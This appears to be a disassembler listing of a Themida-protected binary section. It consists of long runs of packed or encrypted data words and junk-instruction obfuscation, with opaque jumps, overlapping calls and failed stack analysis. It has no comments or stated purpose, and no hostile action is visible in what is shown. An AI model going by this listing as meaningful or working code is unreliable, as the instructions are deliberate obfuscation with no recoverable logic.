dd 0BD0D0000h, 0DD0B4A50h, 0BBA1BAC1h, 941D0733h, 49D605C3h
dd 0D10C6B47h, 7C46C563h, 7C2C5888h, 0FC363C6Bh, 55D96BF1h
dd 3C6B7C31h, 7C3753DBh, 42B83C6Bh, 5B638DF5h, 0E58BE040h
dd 43823C01h, 4D69FD6Fh, 223C6BDAh, 97FC1BD8h, 4000000h
dd 0E4760D6Fh, 9F052140h, 0B6C1AEBDh, 6AD3A79Bh, 0DC2BDA19h
dd 2D2519EDh, 3A60CB59h, 1DFAD720h, 9612C125h, 5D211067h
dd 357ECF79h, 0DB23D218h, 8AFE76E4h, 1D3A60C8h, 2F070B25h
dd 3A60C960h, 34BC496Bh, 6680BFC9h, 0D27C92E7h, 3523C249h
dd 81DD067Ah, 0BFA60FBh, 197DC1F8h, 0CE97DEFh, 0E1447189h
dd 33443599h, 0D6087CF0h, 0BB9F3075h, 978BC2D2h, 73723623h
dd 10DA613Bh, 6472799Ch, 3A3CA34Eh, 0F6296A60h, 495236BEh
dd 0EDD52E5Bh, 9AE05F89h, 0D6FBB59h, 9540E476h, 1ABD85B9h
dd 0B2CB3A20h, 0BD313B8Fh, 3A7987C9h, 0E600645Eh, 0C66EBB62h
dd 0DB3F83B2h, 0BFCAED3Ch, 6145EF46h, 81C569FBh, 63A797Fh
dd 7F26A2CAh, 51A93A79h, 0F710D37Dh, 32397A2h, 80AFAC2Bh
dd 876C79B3h, 739C4772h, 0F6A72B26h, 302D91A0h, 7B8C7570h
dd 2F78954Eh, 3E9AE12h, 73000000h, 0D4DE9C84h, 57A009FDh
dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
dd 798871C5h, 0FA0DFC40h, 53CF7BCFh, 0BF57E389h, 54080337h
dd 440DE781h, 0EF81533Dh, 343A6B1Ah, 94EFF781h, 0FB011BCDh
dd 4EB835Fh, 5C241C87h, 24F168h, 24348900h, 7F7E68h, 242C8900h
dd 659EB850h, 81500612h, 1234242Ch, 815E4C45h, 451234C6h
dd 0C468584Ch, 89000025h, 4812424h, 424h, 0EC835D00h, 24348904h
dd 0F8242C81h, 8F41915Ch, 45810845h, 915CF808h, 242C8B41h
dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h
dd 4C4h, 13EDE900h, 386FFFF9h, 34AA450Eh, 2001E6D0h, 0EF1DDA29h
dd 6AB3B87Dh, 0C5030612h, 91D4E0FFh, 2D18520Dh, 0F0717BA6h
dd 99756B90h, 2E566AB5h, 4F347E7Ah, 0A9FC4FE2h, 0B4194EDEh
dd 73974CCEh, 0E57B5325h, 68A24E7Dh, 2DD6EBDh, 0A111186Dh
dd 0A76B7CF5h, 88120E36h, 4B644DE7h, 0CF2A7BEBh, 196E504Eh
dd 894A7615h, 0D30430FCh, 2C75CB9h, 0CE83340h, 37000000h
dd 9718CA6Ch, 24960C70h, 81FD1E16h, 79B42AC9h, 8B66581Ah
dd 0B6C081CEh, 0B9000070h, 7A44ACB7h, 1BF9BEh, 6030FF00h
dd 0FE8B9h, 0DFD0811Eh, 611D7C20h, 0FFB70F5Ah, 0D7A8EA81h
dd 0F606E1Ch, 28Ch, 8A5A5000h, 0F28161C8h, 52CCC6F7h, 512B01BBh
dd 0DDEA814Bh, 8B03DA63h, 14E852F9h, 35000000h, 556FBC5Bh
dd 0EC6D80A8h, 44828CEAh, 0DFFF6556h, 5FE94A85h, 7E8008Fh
dd 68000000h, 6476914Ch, 0B70F504Eh, 0E88359CAh, 8C18104h
dd 4E545EAFh, 1B850Fh, 8B660000h, 33E9D9h, 0D5080000h
dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h, 0A8A0F91h
dd 0F000000h, 48Fh, 0BBF6600h, 0FF5BE9EFh, 945EFFFFh, 239AB443h
dd 0D17684D1h, 328D8D01h, 0B306126Dh, 4D8D89BEh, 6A060B17h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 1C1EC351h, 7B3BBA66h, 11985C7h, 6A60060Bh
dd 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 7338FAC3h, 0EB316Eh, 8B66A007h, 985C7D9h, 60B10h, 0BF000000h
dd 619D8066h, 2355B5FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 0B6D987C3h, 0C595FFD2h
dd 6A060B0Ah, 0DD95FF00h, 8B060B32h, 810FEBC0h, 0CF73A7B7h
dd 892D06AFh, 49DF13CAh, 0BE89A93h, 52000000h, 5D5C7659h
dd 0F4FE446Ah, 0BE83F8Eh, 0EB000000h, 86416DBFh, 3399EE8Dh
dd 8501CE80h, 60B1599h, 0B52B585Bh, 60B3309h, 5B53C081h
dd 95230000h, 60B2895h, 68h, 55958900h, 59060B1Bh, 0BE0134FFh
dd 46AB7D40h, 0FE9575Fh, 83000000h, 93401FDAh, 0D1561823h
dd 44AC80E1h, 815EA5C8h, 66EA2DF7h, 0B5F28026h, 75D5C781h
dd 9D2940F4h, 60B05F1h, 0A73FC781h, 89F9522Eh, 0F78B083Ch
dd 8380E680h, 0E96004E9h, 12h, 0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh
dd 2B4E014Ch, 890F7EE8h, 5, 3CE431BEh, 0F9816105h, 0FFFFA574h
dd 0FF8A850Fh, 0FE9FFFFh, 0E3000000h, 0A3929B0Ch, 4B4D8DFFh
dd 36CF0412h, 0C08B0112h, 187h dup(0)
dd 840F0000h, 1, 18E0FF8h, 0F5000000h, 6A9DF5h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
dd 0C16C64C3h, 56D3BA0h, 18A0F60h, 0F5000000h, 61C88B66h
dd 78A0F61h, 0F000000h, 18Ah, 6A5DFC00h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7714C355h
dd 0F0F84D8h, 1982h, 14E900h, 241E0000h, 0C364B19Eh, 8937735h
dd 2708E0E0h, 0A1CF058Dh, 4401DCADh, 6A0824h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D0E77FC3h
dd 0A130B393h, 8E28060h, 880F5861h, 1, 6AC39DFCh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 58A5C357h, 6078C253h, 705E9ABBh, 0E8606119h, 0Fh, 0BD49E1D8h
dd 0C2FFB29Ah, 33EEA76Ch, 669E33EFh, 58F39CBEh, 58C0Fh
dd 81660000h, 6142ACC0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 17h, 0D1C35343h, 0F9AF9E9Ah, 0CE9C08Bh, 83000000h
dd 0B3DDE4D1h, 66EE305Ah, 0E9149E11h, 0Dh, 2C140B66h, 0BE5BBFA9h
dd 0CAFDF6EAh, 18D0F0Fh, 0F9000000h, 0AE9h, 0E34D1500h
dd 4CE3CA79h, 80BEB602h, 66FC9AEBh, 50A8DF81h, 66CFBF0Fh
dd 6E8FC881h, 0BE9h, 703CEF00h, 51861D3Bh, 0A4FDC047h
dd 66FB8B66h, 12E8C28Bh, 7C000000h, 6CCF1AB1h, 0CADA6482h
dd 0FE480086h, 526D3610h, 0B3BE664Eh, 3CBB5960h, 0F503B40h
dd 6652CFB7h, 5BA17FBFh, 0FCFDC580h, 10E9h, 539C9300h
dd 0E9724526h, 0F619BDEEh, 1CE73B22h, 0E9D38B34h, 13h
dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 66E537A6h
dd 0E9FCD78Bh, 0Eh, 0B357B0D7h, 0AD442F54h, 0CCF1EF81h
dd 0BF0F4B9Ah, 0E78166F8h, 0E58AFDC7h, 18810Fh, 8F0F0000h
dd 12h, 0DE9h, 0C5801000h, 1F8FD21Eh, 333FEFEFh, 8B66F16Eh
dd 811CB1C2h, 0CDA5F4F0h, 8D0FF57Eh, 5, 59EB8166h, 80C68BA4h
dd 0CB8088F0h, 0CB8B66BDh, 0CE9h, 2BB12F00h, 9C8D9C55h
dd 0BB7F7805h, 2CD78193h, 0E929327Ch, 11h, 3E6C0B1Eh, 3E7C8A6h
dd 21A6D9C0h, 4731F214h, 0B9F780E0h, 94CF8160h, 8B2BEA56h
dd 0DE961C8h, 85000000h, 2CBCAADDh, 0A173C171h, 0A09DDAA9h
dd 3810Fh, 0C5800000h, 13E580B8h, 5880F60h, 0B9000000h
dd 21345A43h, 70BF6661h, 0AE91Eh, 32320000h, 60183D19h
dd 78CACCC1h, 0C25EDB81h, 12E92442h, 0B4000000h, 15C1A0Ch
dd 0F33FAFFEh, 6881BC95h, 7D3A2395h, 9E954h, 0EADA0000h
dd 443A784Ah, 0F8FF04Eh, 383h, 0DBB70F00h, 27B966FCh, 830F602Ah
dd 0Ch, 6E8h, 0AD306F00h, 5B566BF5h, 0B8C0Fh, 5E80000h
dd 0A1000000h, 87602E08h, 0F576159h, 28Bh, 595A5100h, 6E9h
dd 7BEC6C00h, 80448AE1h, 0B70F0EE9h, 76DA81FEh, 0F765D3Dh
dd 0E780C2B7h, 0B70F6089h, 9E881D6h, 61662568h, 81665851h
dd 0B34BBDE6h, 0CDB96612h, 0F0BA6660h, 0FE88AB8h, 586h
dd 1988B900h, 5956669Ch, 0C332E381h, 8E918D9h, 0EA000000h
dd 56AFDF09h, 805DECEEh, 14E960C6h, 0B2000000h, 208FAD52h
dd 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch, 666A4213h, 8B7B1FBBh
dd 0E08166CFh, 66608A13h, 0A2B4D281h, 386ED281h, 66616FDAh
dd 0E97372B9h, 7, 0A385FEB7h, 66A0D618h, 0FF5C68Bh, 0E38AF0BFh
dd 4850Fh, 0BA660000h, 0D78B2234h, 11E9h, 0DE353800h, 0BBA5CB8Fh
dd 0B3539721h, 0B201C870h, 59BA5374h, 6049D121h, 11E8h
dd 0A7ABDD00h, 54DF48E7h, 11E256BBh, 8955782h, 58FC0142h
dd 8161D18Bh, 3C26C3C8h, 13E963h, 9E4D0000h, 1E160F8h
dd 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h, 0B6F860ECh, 66F961FDh
dd 0B378EE81h, 870F8DB0h, 3, 0FBDDF80h, 0F08BCFB7h, 14E9F9F9h
dd 0C7000000h, 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh
dd 0E95D6186h, 8, 6DBFEBA6h, 0EE8D8641h, 0FB8B66F8h, 0B5C3B70Fh
dd 1FF3810Dh, 815EC6B9h, 8A533AE3h, 0B759572Eh, 3830FC3h
dd 0F000000h, 0C880F7BFh, 0C5CE80CBh, 0E9CEB70Fh, 0Eh
dd 53812969h, 57846075h, 99AAE817h, 5E814F7h, 0BC000000h
dd 0AE10C602h, 78C08060h, 0CCB65F61h, 0E1CB8166h, 0A880F40h
dd 0E9000000h, 5, 2F517E49h, 8F0FF5FBh, 0Ch, 68E0Fh, 800F0000h
dd 0
; ---------------------------------------------------------------------------
mov cx, ax
xor si, 9597h
mov esi, 1853C752h
jl loc_5B39E1
mov ebx, edi
loc_5B39E1: ; CODE XREF: Themida_:005B39D9j
jmp loc_5B39FA
; ---------------------------------------------------------------------------
mov esp, 747BF104h
cmp bh, [eax-68E26D1Bh]
pop edi
pop ds
jmp fword ptr [ecx]
; ---------------------------------------------------------------------------
dw 574Fh
db 38h, 0A6h
; ---------------------------------------------------------------------------
loc_5B39FA: ; CODE XREF: Themida_:loc_5B39E1j
mov edx, 2A516B4h
call near ptr loc_5B3A09+3
mov esp, 0E1A83C07h
loc_5B3A09: ; CODE XREF: Themida_:005B39FFp
mov ecx, 5FF51480h
movzx ebx, di
call sub_5B3A22
adc ebp, ebp
db 64h
aas
pop esi
retn
; ---------------------------------------------------------------------------
dd 7739C177h
db 67h, 2Bh
; =============== S U B R O U T I N E =======================================
sub_5B3A22 proc near ; CODE XREF: Themida_:005B3A11p
call near ptr loc_5B3A2E+4
dec edx
mov esp, 51A077CCh
pop ecx
loc_5B3A2E: ; CODE XREF: sub_5B3A22p
imul ebx, [edx+9E80590h], 0
sub_5B3A22 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2 dup(0), 0C1h
; ---------------------------------------------------------------------------
enter 3B8h, 63h
popa
adc bl, dh
adc al, 5Bh
pop edi
pop edi
jmp loc_5B3A59
; ---------------------------------------------------------------------------
dd 5D49C127h, 6EFC33B5h, 0BE7F5584h, 7CD448A6h
; ---------------------------------------------------------------------------
dec esi
loc_5B3A59: ; CODE XREF: Themida_:005B3A43j
jo $+6
mov ebx, 4DA0911h
movsx esi, di
mov cx, 7AABh
jmp loc_5B3A77
; ---------------------------------------------------------------------------
dd 0BCBB4ABFh
db 4Fh, 0C0h, 35h
; ---------------------------------------------------------------------------
loc_5B3A77: ; CODE XREF: Themida_:005B3A6Bj
pusha
pusha
movzx esi, bx
popa
mov eax, 33FD3150h
popa
xor bx, 8900h
sub edi, 362499FFh
push edx
xor ax, 0BAFEh
pop ebx
mov dx, ax
jb $+6
xor edi, 287B29E5h
jmp loc_5B3ABD
; ---------------------------------------------------------------------------
sti
sub ah, ah
mov edx, 0A4A86946h
mov ds:0D0F10B29h, eax
cmp eax, 34F992C9h
jns short loc_5B3B02
loc_5B3ABD: ; CODE XREF: Themida_:005B3AA4j
jmp loc_5B3AD4
; ---------------------------------------------------------------------------
dw 5BF5h
dd 2F2A877Ch, 19BFF7FAh, 6591CD40h, 2E28B5B0h
; ---------------------------------------------------------------------------
loc_5B3AD4: ; CODE XREF: Themida_:loc_5B3ABDj
jmp loc_5B3ADE
; ---------------------------------------------------------------------------
db 80h, 0D5h, 0B4h
db 84h, 0ABh
; ---------------------------------------------------------------------------
loc_5B3ADE: ; CODE XREF: Themida_:loc_5B3AD4j
mov ah, 0BEh
mov esi, 6A95C489h
stc
pusha
push ecx
mov ax, dx
pop ecx
mov ecx, 459E54FDh
popa
jg loc_5B3B09
call sub_5B3B06
; ---------------------------------------------------------------------------
db 8Ch, 0F4h, 0D4h
db 8, 6Bh
; ---------------------------------------------------------------------------
loc_5B3B02: ; CODE XREF: Themida_:005B3ABBj
sti
les ebx, [ebx]
movsb
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_5B3B06 proc near ; CODE XREF: Themida_:005B3AF8p
push edx
pop ecx
pop ecx
loc_5B3B09: ; CODE XREF: Themida_:005B3AF2j
mov bx, di
jno loc_5B3B2C
js loc_5B3B2C
jmp loc_5B3B2C
; ---------------------------------------------------------------------------
db 0F6h, 0BDh, 51h
dd 0AFAAEEECh, 71D67B2Bh, 5372D7CBh
; ---------------------------------------------------------------------------
loc_5B3B2C: ; CODE XREF: sub_5B3B06+6j
; sub_5B3B06+Cj ...
mov ebx, esi
mov ecx, edi
jmp loc_5B3B3B
; ---------------------------------------------------------------------------
db 71h, 9Ch, 0C9h
db 0F3h, 7Fh, 8Ch
; ---------------------------------------------------------------------------
loc_5B3B3B: ; CODE XREF: sub_5B3B06+2Aj
sub dl, 85h
and edx, 26372AE5h
movsx ecx, di
jmp loc_5B3B5D
; ---------------------------------------------------------------------------
dd 0EA802F50h, 0A473CE58h, 7D9B0D4Ch, 3CDCA8Bh
; ---------------------------------------------------------------------------
cmpsb
loc_5B3B5D: ; CODE XREF: sub_5B3B06+41j
mov dx, 7CC4h
mov bx, di
mov di, 5238h
jmp loc_5B3B72
; ---------------------------------------------------------------------------
db 0F0h, 51h, 89h
db 26h, 23h
; ---------------------------------------------------------------------------
loc_5B3B72: ; CODE XREF: sub_5B3B06+62j
mov edi, ecx
movsx edx, dx
clc
mov si, cx
stc
movsx ebx, ax
jmp loc_5B3B97
; ---------------------------------------------------------------------------
dd 1001368Ch, 0ACD05A53h, 23256574h, 545175CAh
db 0C5h, 0BAh, 7Dh
; ---------------------------------------------------------------------------
loc_5B3B97: ; CODE XREF: sub_5B3B06+79j
call loc_5B3BAF
scasb
lea eax, [esi]
adc ebx, [ebx-5Eh]
std
faddp st(7), st
xor eax, 4E80B363h
hlt
sub_5B3B06 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
fidivr word ptr [eax]
pop ss
inc ebx
loc_5B3BAF: ; CODE XREF: sub_5B3B06:loc_5B3B97p
stc
pop eax
mov eax, 0CDF0B72h
mov ebx, edx
mov edi, 22B8A361h
mov ecx, 2805B3E0h
movsx edx, di
movzx eax, ax
mov al, dl
jmp loc_5B3BE1
; ---------------------------------------------------------------------------
db 15h
dd 0B018ADE5h, 86F9A44Eh, 399396F5h, 9065B101h
db 26h
; ---------------------------------------------------------------------------
loc_5B3BE1: ; CODE XREF: Themida_:005B3BCAj
jmp loc_5B3BF4
; ---------------------------------------------------------------------------
dw 2A19h
dd 0D2D476C1h, 3D1515BDh, 9A45BE3Ch
; ---------------------------------------------------------------------------
loc_5B3BF4: ; CODE XREF: Themida_:loc_5B3BE1j
mov di, cx
jle $+6
add si, 24E0h
push esi
or bh, 2Ah
pop esi
mov edx, esi
jmp loc_5B3C1F
; ---------------------------------------------------------------------------
dw 7A5Dh
dd 93718E4Eh, 3402EA42h, 0E5B0B5C8h
db 1Ah, 1Bh, 0A2h
; ---------------------------------------------------------------------------
loc_5B3C1F: ; CODE XREF: Themida_:005B3C09j
call loc_5B3C38
sub [edi+3EFD426Ch], ecx
; ---------------------------------------------------------------------------
dw 0CCC5h
dd 0C13710Eh, 993A62Bh, 0A30067D6h
; ---------------------------------------------------------------------------
loc_5B3C38: ; CODE XREF: Themida_:loc_5B3C1Fp
sub di, 0EFAEh
pop esi
jle loc_5B3C47
and dl, 6Eh
loc_5B3C47: ; CODE XREF: Themida_:005B3C3Ej
jbe loc_5B3C50
movsx edi, bx
loc_5B3C50: ; CODE XREF: Themida_:loc_5B3C47j
pusha
xor al, 0E8h
js loc_5B3C73
jmp loc_5B3C73
; ---------------------------------------------------------------------------
retf 1BB9h
; ---------------------------------------------------------------------------
dw 4D1Bh
dd 0DE1A6619h, 6D9C3546h, 4BF21650h
db 9, 1Eh, 0CEh
; ---------------------------------------------------------------------------
loc_5B3C73: ; CODE XREF: Themida_:005B3C54j
; Themida_:005B3C5Aj
popa
push edi
jmp loc_5B3C7F
; ---------------------------------------------------------------------------
dw 7096h
; ---------------------------------------------------------------------------
cmc
sal cl, 1
loc_5B3C7F: ; CODE XREF: Themida_:005B3C75j
pop edx
adc si, 0CD2Dh
jmp loc_5B3C93
; ---------------------------------------------------------------------------
dw 7A5Eh
; ---------------------------------------------------------------------------
shl dword ptr [esi-1F249DA7h], 7Dh
loc_5B3C93: ; CODE XREF: Themida_:005B3C85j
mov ebx, 51C2CF13h
jmp loc_5B3CA8
; ---------------------------------------------------------------------------
db 6Bh, 0B9h, 9Ah
dd 3E4C1F76h, 0E54B0E06h
; ---------------------------------------------------------------------------
loc_5B3CA8: ; CODE XREF: Themida_:005B3C98j
or bl, 0A4h
jb loc_5B3CB6
xor di, 0D71Eh
loc_5B3CB6: ; CODE XREF: Themida_:005B3CABj
mov cx, 8845h
cld
mov esi, 699D945Dh
adc ah, 63h
jmp loc_5B3CD1
; ---------------------------------------------------------------------------
dd 0BEB596CFh, 2A20AC9Ch
db 32h
; ---------------------------------------------------------------------------
loc_5B3CD1: ; CODE XREF: Themida_:005B3CC3j
jmp loc_5B3CE2
; ---------------------------------------------------------------------------
dw 337Ch
dd 0D5B97C95h, 0FF861363h
db 76h, 0EAh
; ---------------------------------------------------------------------------
loc_5B3CE2: ; CODE XREF: Themida_:loc_5B3CD1j
jnz $+6
xor esi, 7A611659h
mov al, 40h
pusha
popa
jp loc_5B3CFD
mov esi, 3F264CE3h
loc_5B3CFD: ; CODE XREF: Themida_:005B3CF2j
add esi, 63548D01h
mov esi, 3552B57Ch
mov eax, esi
mov edx, eax
jmp loc_5B3D18
; ---------------------------------------------------------------------------
db 0A0h, 92h, 0Ah
dd 0A819D718h
; ---------------------------------------------------------------------------
loc_5B3D18: ; CODE XREF: Themida_:005B3D0Cj
adc ax, 5376h
pusha
jmp loc_5B3D30
; ---------------------------------------------------------------------------
db 4Eh
dd 0EDA3087Ch, 0E8D0168Eh, 0CEA99DADh
; ---------------------------------------------------------------------------
loc_5B3D30: ; CODE XREF: Themida_:005B3D1Ej
or edx, 72079E5Ah
popa
mov ebx, eax
movzx esi, bx
stc
mov ch, 70h
movzx esi, cx
jmp loc_5B3D53
; ---------------------------------------------------------------------------
enter 550Eh, 41h
fisub word ptr [ebx+52h]
push esp
mov word ptr [eax+ebp-19h], es
loc_5B3D53: ; CODE XREF: Themida_:005B3D42j
mov ax, 0B55Ch
sbb edi, 31B26FDAh
mov ebx, 0A45AF67h
mov ebx, edi
add cx, 1939h
jnb loc_5B3D88
call sub_5B3D81
pop esp
; ---------------------------------------------------------------------------
db 8Fh, 0F9h, 0Fh
dd 173B728Fh, 5C15AA6Ch
db 2Ah
; =============== S U B R O U T I N E =======================================
sub_5B3D81 proc near ; CODE XREF: Themida_:005B3D6Fp
ja $+6
pop esi
loc_5B3D88: ; CODE XREF: Themida_:005B3D69j
movzx eax, di
and bx, 8BDCh
mov dh, 9Ah
call sub_5B3DA8
or dword ptr [eax], 1D69950Eh
mov esp, 505F8249h
enter 59E1h, 0DBh
mov cl, 3Fh
sub_5B3D81 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B3DA8 proc near ; CODE XREF: sub_5B3D81+11p
pusha
and ebx, 6B6E5D48h
jmp loc_5B3DC3
; ---------------------------------------------------------------------------
sub al, 77h
add [ebx], dl
lodsd
cmpsb
mov ebp, 0F73E9F81h
and ebx, [eax+edi*4-59h]
loc_5B3DC3: ; CODE XREF: sub_5B3DA8+7j
popa
pop ebx
mov cx, si
mov eax, ebx
jmp loc_5B3DD6
; ---------------------------------------------------------------------------
mov ah, 0EBh
add eax, 3929B19Dh
loc_5B3DD6: ; CODE XREF: sub_5B3DA8+22j
push ebx
jmp loc_5B3DE9
; ---------------------------------------------------------------------------
dd 1D35A147h
; ---------------------------------------------------------------------------
loc_5B3DE0: ; CODE XREF: sub_5B3DA8+91j
nop
push cs
insd
pop edx
sub al, [edi]
leave
; ---------------------------------------------------------------------------
db 4
; ---------------------------------------------------------------------------
loc_5B3DE9: ; CODE XREF: sub_5B3DA8+2Fj
pop edx
mov di, ax
jmp loc_5B3E00
; ---------------------------------------------------------------------------
dw 6969h
dd 9B2838B9h, 7EA68CCEh, 38BCB610h
; ---------------------------------------------------------------------------
loc_5B3E00: ; CODE XREF: sub_5B3DA8+45j
js loc_5B3E08
mov esi, edi
loc_5B3E08: ; CODE XREF: sub_5B3DA8:loc_5B3E00j
movzx edx, si
add al, 0E1h
xor bx, 5842h
movsx eax, dx
push esi
movsx ebx, dx
pop eax
add ebx, 308B36BCh
mov dx, si
call sub_5B3E3B
mov ebp, 0DF4CEEF6h
mov bh, bl
xchg eax, esp
xchg eax, edx
xchg eax, esi
adc ah, [ecx+6236DF1Ah]
loop loc_5B3DE0
sub_5B3DA8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5B3E3B proc near ; CODE XREF: sub_5B3DA8+7Cp
stc
pop eax
jmp loc_5B3E4E
; ---------------------------------------------------------------------------
dw 94B3h
dd 7C96F406h, 740082B0h
db 69h, 9Eh
; ---------------------------------------------------------------------------
loc_5B3E4E: ; CODE XREF: sub_5B3E3B+2j
jmp loc_5B3E5C
; ---------------------------------------------------------------------------
db 8
dd 5E7F353Bh, 0DED69E83h
; ---------------------------------------------------------------------------
loc_5B3E5C: ; CODE XREF: sub_5B3E3B:loc_5B3E4Ej
xor edi, 15DEF261h
mov dh, 32h
mov ecx, 3979916Ch
pusha
movsx ecx, bx
sub ebx, 4F7C76A8h
popa
jmp loc_5B3E8C
; ---------------------------------------------------------------------------
db 8, 35h, 0AEh
dd 1188B17Ah, 11BC0568h, 0B3E12214h, 808BA33Eh
; ---------------------------------------------------------------------------
loc_5B3E8C: ; CODE XREF: sub_5B3E3B+39j
sbb bx, 60B5h
push eax
stc
pop ebx
mov ebx, 6480084Eh
mov esi, edx
xor bh, 0FCh
mov ecx, 2D345300h
movsx ecx, dx
mov cx, dx
add ebx, 20D4D0B4h
mov di, 1260h
and esi, 6F8D4546h
sbb di, 9040h
jmp loc_5B3ECE
; ---------------------------------------------------------------------------
db 56h
dd 0A28EE117h, 0B2F8B072h
; ---------------------------------------------------------------------------
test ebp, edi
loc_5B3ECE: ; CODE XREF: sub_5B3E3B+83j
movsx ecx, ax
movzx esi, si
mov ebx, 7D07D731h
movzx edi, bx
mov si, 4A69h
jmp loc_5B3EF6
; ---------------------------------------------------------------------------
db 0FFh, 0FCh, 3Ah
dd 0CCA95BF0h, 9DB51B2h, 8A0CC40Eh
db 81h, 2Eh
; ---------------------------------------------------------------------------
loc_5B3EF6: ; CODE XREF: sub_5B3E3B+A5j
jmp loc_5B3F08
; ---------------------------------------------------------------------------
sub esi, [edx+5Fh]
cmp byte ptr [edx-3044A496h], 7
cdq
push 38h
loc_5B3F08: ; CODE XREF: sub_5B3E3B:loc_5B3EF6j
mov si, 0DB66h
mov cx, 72C5h
pusha
popa
cld
jno loc_5B3F1C
mov di, ax
loc_5B3F1C: ; CODE XREF: sub_5B3E3B+D8j
add eax, 66F76401h
mov ax, dx
mov edi, ecx
jz loc_5B3F2F
mov dl, bl
loc_5B3F2F: ; CODE XREF: sub_5B3E3B+ECj
movsx eax, di
call near ptr loc_5B3F3D+2
stosb
mov ds:551A7776h, al
loc_5B3F3D: ; CODE XREF: sub_5B3E3B+F7p
xor eax, 5FD98B69h
sub_5B3E3B endp ; sp-analysis failed
mov esi, edi
mov dx, ax
xor di, 5496h
jmp loc_5B3F5F
; ---------------------------------------------------------------------------
daa
adc al, 0E8h
sbb dword ptr [esi+ecx*8], 419A224Fh
mov ch, 8Fh
cmp [esi], ch
loc_5B3F5F: ; CODE XREF: Themida_:005B3F4Cj
push ecx
xor ebx, 7923BAD1h
pop edi
and esi, 614039B3h
mov esi, edx
mov bx, cx ; CODE XREF: Themida_:005B3FAAj
movsx edi, di
mov ax, bx
clc
xor esi, 6C7121D1h
movsx edx, cx
mov dl, 83h
pusha
ja near ptr loc_5B3F92+5
call near ptr loc_5B3F92+4
sub al, 84h
loc_5B3F92: ; CODE XREF: Themida_:005B3F8Bp
; Themida_:005B3F85j
arpl [eax+66582723h], si
sub esi, 0E96142DAh
sldt word ptr [eax]
add al, ah
repne and eax, 296AA08Ah
dec esp
loopne near ptr loc_5B3F6F+1
outsb
cld
sbb edi, [edi+eax*8-18h]
or [eax], al
; ---------------------------------------------------------------------------
dd 0FD00000h, 6605AAFCh, 0B70FF83Eh, 0FFC58D8h, 0EDB8F8BFh
dd 6643F2C8h, 0A4ABDF81h, 5DD98166h, 0FE6DB9DDh, 81661287h
dd 603F3DD0h, 8E9h, 4BEED00h, 1759F5EBh, 0AE96Ah, 26930000h
dd 9D6BEA05h, 0F98C3707h, 0D6BF0F61h, 4820F51h, 66000000h
dd 5F43C6B9h, 0D9B699B7h, 356AB6BFh, 5BF5571Bh, 66F88B66h
dd 44CBEA81h, 0CE857h, 26560000h, 0D0700B22h, 7DFDFBE2h
dd 8F0FA20Dh, 0
; ---------------------------------------------------------------------------
pop edx
pop edx
jmp loc_5B4053
; ---------------------------------------------------------------------------
db 0CEh
dd 0E4B3E738h, 15088E67h, 0A6B020B2h, 0EE2F9E1Ah
; ---------------------------------------------------------------------------
jmp short loc_5B4059
; ---------------------------------------------------------------------------
db 65h
; ---------------------------------------------------------------------------
loc_5B4053: ; CODE XREF: Themida_:005B403Aj
jz loc_5B405C
loc_5B4059: ; CODE XREF: Themida_:005B4050j
movsx ebx, cx
loc_5B405C: ; CODE XREF: Themida_:loc_5B4053j
mov dx, 0BB51h
call near ptr loc_5B4072+6
call far ptr 1386h:6F578C15h
fist dword ptr [ebx+106ED0ECh]
loc_5B4072: ; CODE XREF: Themida_:005B4060p
mov byte ptr [esi-0A506B26h], 0B3h
push edx
pop edx
jnz loc_5B4087
jp $+6
loc_5B4087: ; CODE XREF: Themida_:005B407Bj
jmp loc_5B40A0
; ---------------------------------------------------------------------------
dd 1957E6BEh, 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh, 26155461h
; ---------------------------------------------------------------------------
loc_5B40A0: ; CODE XREF: Themida_:loc_5B4087j
call sub_5B40B2
xchg eax, ebx
sti
insb
push cs
ror dword ptr [ecx+4Dh], 1
iret
; ---------------------------------------------------------------------------
db 0D9h, 3Bh, 34h
db 43h, 14h
; =============== S U B R O U T I N E =======================================
sub_5B40B2 proc near ; CODE XREF: Themida_:loc_5B40A0p
stc
pop edx
sub edx, 6B18F759h
sub dx, 0E2F6h
sbb al, 0FDh
cmc
jle loc_5B40CB
mov edx, esi
loc_5B40CB: ; CODE XREF: sub_5B40B2+11j
mov edx, 7376CCDEh
sub dx, 453Bh
adc bx, 0A39Fh
mov esi, 18065396h
js loc_5B40F5
jmp loc_5B40F5
; ---------------------------------------------------------------------------
dw 4B80h
dd 937DF387h, 64DCC54Eh
db 4Ch
; ---------------------------------------------------------------------------
loc_5B40F5: ; CODE XREF: sub_5B40B2+2Dj
; sub_5B40B2+33j
mov ebx, 29626167h
mov ah, 0Ah
and edx, 50346760h
mov esi, 9751EAFh
call near ptr loc_5B410E+3
xor ah, dh
loc_5B410E: ; CODE XREF: sub_5B40B2+55p
call near ptr 8BC17074h
sub_5B40B2 endp ; sp-analysis failed
rcr dword ptr [ebx-17h], cl
adc [eax], al
; ---------------------------------------------------------------------------
dd 256D0000h, 0A661A1BBh, 2EBE3779h, 0B917BEFEh, 1CBBF6AEh
